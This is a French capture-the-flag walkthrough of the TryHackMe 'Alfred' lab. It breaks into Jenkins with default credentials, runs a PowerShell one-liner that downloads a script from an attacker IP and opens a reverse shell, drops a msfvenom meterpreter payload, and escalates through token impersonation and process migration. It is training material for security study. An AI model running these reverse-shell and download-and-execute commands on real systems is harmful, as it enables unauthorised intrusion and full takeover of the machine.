Skip to main content

Alfred

Task 1

On commence par réaliser un scan de notre machine :

image-1648924091366.png

On découvre 3 ports ouverts.

  • 2 Services web 80 et 8080
  • 1 Service de RDP 3389

Le port 80 ne nous offre rien mais le 8080 nous montre une page de connexion pour Jenkins.

Par défaut, les creds sont admin:password mais cela ne fonctionne pas ici. admin:admin fonctionne parfaitement :

image-1648924720766.png

Maintenant que nous sommes connectés il nous faut trouver un endroit où nous pouvons exécuter du code. On découvre ce lieu dans la configuration du projet :

image-1648924740363.png

On utilise alors la commande fourni par Tryhackme :

powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.69.123:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.69.123 -Port 6666

Pour cela on commence par récupérer le script Powershell :

image-1648924919439.png

On le rend accessible au serveur avec un serveur python :

image-1648924986740.png

Enfin on lance notre écoute pour le reverse shell :

image-1648925102307.png

Enfin on lance notre commande via l'interface de Jenkins et on demande la création d'un build immédiat. Si tout à fonctionner on obtient notre reverse shell :

image-1648925241991.png

On obtient aussi notre premier flag sur le bureau de bruce.

Task 2

Maintenant que nous avons notre shell utilisateur il nous faut passer root. En suivant les instructions on commence par la création d'un payload avec metasploit

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.69.123 LPORT=6666 -f exe -o shell.exe

On upload notre shell sur le serveur via le même principe qu'avant :

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.69.123:1234/shell.exe','shell.exe')"

Avant de demander un nouveau build, on lance notre écoute via metasploit :

image-1648925818298.png

On lance alors une demande de build qui permet de récupérer notre script powershell

On exécute notre shell via le reverse shell que nous avons ouvert en task 1:

Start-Process "shell.exe"

image-1648926637946.png

image-1648926649243.png

Task 3

Maintenant que nous sommes connecté avec un shell meterpreter, nous pouvons avoir accès à la force de cet outil. Pour cela, une fois connecté, on commence par regardé la liste des privilèges que nous avons 

image-1648927079509.png

On remarque 4 privilèges activés dont 2 qui sont intéressant

  • SeDebugPrivilege
  • SeImpersonatePrivilege

Ce dernier nous permet de nous faire passer pour quelqu'un d'autre après être authentifié.

Meterpreter dispose d'un module pour cela on commence par le charger : load incognito

Puis on récupère la liste des token disponibles : list_tokens -g

On découvre alors que le token d'administrateur est disponible :

image-1648927389200.png

On peut alors ce faire passer pour lui :

image-1648927523221.png

Maintenant nous avons un token avec des privilèges plus élevés nous n'avons pas encore les privilèges d'un utilisateurs admin. Pour cela il nous suffit de migrer vers un service qui lui les détiens. Pour cela on recherche un tel process tel que services.exe puis on fait un migrate <PID>

On peut à présent récupérer notre flag root.